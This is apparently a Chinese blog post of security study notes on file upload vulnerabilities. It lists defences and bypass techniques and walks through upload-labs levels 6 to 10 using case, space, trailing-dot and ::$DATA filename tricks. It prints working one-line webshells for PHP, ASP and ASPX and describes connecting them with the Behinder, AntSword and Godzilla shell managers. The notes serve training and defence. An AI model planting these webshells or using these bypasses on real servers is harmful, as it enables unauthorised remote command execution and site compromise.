文件上传漏洞 day07

  1. 文件上传绕过手段和防御手段总结

文件上传防御手段:

文件类型验证:只允许上传特定类型的文件,如图片、文档等,拒绝执行脚本和其他可执行文件。

MIME类型检查:验证上传文件的MIME类型与实际文件类型是否一致。

文件大小限制:限制上传文件的大小,防止大文件上传导致服务器性能下降或存储空间被占满。

文件内容检查:对上传的文件内容进行检查,排除隐藏的恶意代码。

上传目录隔离:将用户上传的文件存放于特定的隔离目录,与网站核心文件系统分离,减少安全风险。

权限控制:确保上传的文件只能由拥有相应权限的用户访问。

病毒扫描:在上传前后对文件进行病毒扫描,防止恶意软件传播。

安全编程实践:在开发过程中采用安全编码规范,避免引入安全漏洞。

安全配置:服务器和应用程序都应进行安全配置,如关闭不必要的服务,定期更新软件等。

持续监控:对服务器进行持续的安全监控,及时发现异常行为。

文件上传绕过手段:

前端绕过:通过修改前端代码或绕过前端验证机制上传恶意文件。

MIME类型绕过:在上传时修改HTTP请求中的Content-Type字段,将文件伪装成可执行类型。

后缀名绕过:通过在文件名中添加点来绕过后缀名检查,如上传image.jpg.php,服务器可能会将其处理为.php文件。

.htaccess绕过:上传.htaccess文件,通过修改服务器配置来执行恶意代码。

点绕过:在文件名后添加点,使得服务器在处理时去掉末尾的点,从而绕过文件后缀检查。

大小写绕过:利用操作系统对文件大小写不敏感的特性,通过大小写变异来上传恶意文件。

特殊字符绕过:在文件名或内容中使用特殊字符,可能触发文件解析错误或执行意外的代码。

文件包含:通过PHP等语言的文件包含功能,上传包含恶意代码的文件。

条件竞争:利用上传功能的竞争条件,上传恶意文件。

  1. 文件上传常用一句话木马

常见一句话木马

php: <?php @eval($_POST[&apos;pass&apos;]);?>

<?php system($_GET[&apos;cmd&apos;]);?>

asp: <%eval request ("pass")%>

aspx: <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

  1. 三种webshell管理工具
  1. 冰蝎

打开冰蝎

创建shell.php

将shell.php上传到靶场的目录下并进行链接

使用wireshark分析流量

找到具体包

  1. 蚁剑

打开蚁剑

配置代理

创建一个一句话木马并上传到后台

使用蚁剑连接,都是点点点操作

连接成功

使用wireshark进行流量分析

  1. 哥斯拉

打开哥斯拉并上传新的木马

配置url代理

连接成功,弹个calc看看

弹出成功

同样使用shark进行流量分析

哥斯拉大量收发包,这里没有找到具体执行calc命令的包

  1. 文件上传无回显如何查找webshell地址

检查上传接口代码:首先检查文件上传的接口代码,确认上传的文件是否被正确接收和处理。可以尝试上传一个简单的文件,如文本文件,然后检查服务器上的相应位置是否生成了该文件。

检查服务器文件系统:在服务器文件系统中搜索常见的WebShell后缀名,如.php、.asp、.jsp等。可以通过文件管理器或使用命令行工具(如find在Linux系统中)来查找这些文件。

审查服务器日志:服务器日志可能包含了文件上传的相关信息,包括上传的文件名、上传者的IP地址等。检查这些日志可以帮助定位WebShell文件。

使用在线工具和服务:有一些在线的工具和服务专门用于扫描和查找WebShell文件。使用这些工具时,请确保有足够的权限,并且不要违反法律法规。

使用专业安全软件:使用具有WebShell查杀功能的安全软件可以帮助自动化的查找和清除WebShell文件。

  1. 文件上传表单的无参/有参情况下构造表单 

文件上传表单通常包含一个或多个输入字段,允许用户选择要上传的文件。在HTML中,这通常通过<input>标签的type="file"属性来实现。表单可以包含其他字段,如文本字段、隐藏字段等,以提供更多上下文信息或其他功能。

以下是一个简单的文件上传表单的示例,它包含一个文件输入字段和一个提交按钮:

HTML

<form action="upload.php" method="post" enctype="multipart/form-data">

  <input type="file" name="file" />

  <input type="submit" value="上传文件" />

</form>

在这个表单中:

action属性指定了处理文件上传的脚本的URL(在本例中为upload.php)。

method属性指定了表单数据提交的方法,通常是post,以确保数据安全地传输。

enctype属性设置为multipart/form-data,这是文件上传所需的编码类型。

<input type="file">标签允许用户选择一个文件。name属性用于在提交表单时将文件数据发送到服务器。

如果有其他参数需要传递,可以在表单中添加其他的<input>标签,例如:

HTML

<form action="upload.php" method="post" enctype="multipart/form-data">

  <input type="file" name="file" />

  <input type="text" name="comment" value="文件描述" />

  <input type="hidden" name="user_id" value="123" />

  <input type="submit" value="上传文件" />

</form>

在这个修改后的表单中:

<input type="text">标签允许用户输入文本,该文本将与文件一起上传到服务器。

<input type="hidden">标签用于传递那些不想让用户直接编辑的信息,比如用户ID。

在服务器端,通常需要使用相应的语言和库来处理这些上传的文件。例如,在PHP中,可以使用$_FILES超级全局数组来访问上传的文件数据。

  1. upload-labs靶场通关第6-第10关

第六关、

经过尝试,我们发现后端对文件名后缀的大小写检测不严谨,使用burp抓包之后进行修改

更改文件上传的content-type为PHp后缀,并发送

从respone可以看到上传完成并且文件路径为/upload/202409100722194887.png

以此路径使用冰蝎进行连接

完成

第七关、

尝试使用前几关方法均无效,我们尝试再后缀名后再加空格“ ”即可完成文件上传

使用shell07.php 即可完成上传

但是直接来连接是没有反应的

重新上传并且使用burp抓包看看情况

抓包后可以看到我们的文件名上传之后被更改了,重新连接

连接成功

第八关、

多次尝试之后发现后端对上传的文件后缀名未做去点“.”的操作

将shell08.php.文件进行上传

上传成功,我们使用冰蝎进行连接

完成

第九关、

多次尝试发现后端对上传的文件后缀名未做去::$DATA处理

Windows系统下,如果上传的文件名为`9.php::$DATA`会在服务器上生成一个9.php的文件,其内容和所上传文件内容相同并被解析。

构造文件并上传

上传成功

使用冰蝎进行连接没成功,发现使用Windows系统是无法这样构建文件名的,所以我们重新使用Linux系统进行上传

上传成功,使用冰蝎进行连接

第十关、

多次尝试发现上传文件名为 .php. .(点+php+点+空格+点)可以进行绕过

上传成功

同样使用冰蝎进行连接

成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值